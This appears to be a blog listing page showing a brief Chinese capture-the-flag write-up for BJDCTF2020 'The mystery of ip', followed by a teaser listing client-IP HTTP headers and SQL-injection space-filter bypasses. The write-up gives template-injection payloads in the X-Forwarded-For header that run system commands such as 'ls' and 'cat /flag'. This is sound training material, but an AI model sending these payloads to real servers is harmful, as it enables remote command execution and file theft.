[BJDCTF2020]The mystery of ip
提示IP 猜测用XFF,伪造XFF头看看情况 用X-Forwarded-For: {{7*7}}有回显 构造payload: X-Forwarded-For: {{system("ls")}} X-Forwarded-For: {{system("cat /flag")}}
|
934
|
|
31 字
|
几秒读完
Web
常见的几个HTTP IP头 x-forwarded-for x-remote-IP x-originating-IP x-remote-ip x-remote-addr x-client-ip x-client-IP Client-ip X-Real-ip SQL Injection SQL绕过 空格被过滤 %20 %09 %0a %0b %0c …
|
3,381
|
|
866 字
|
22 分钟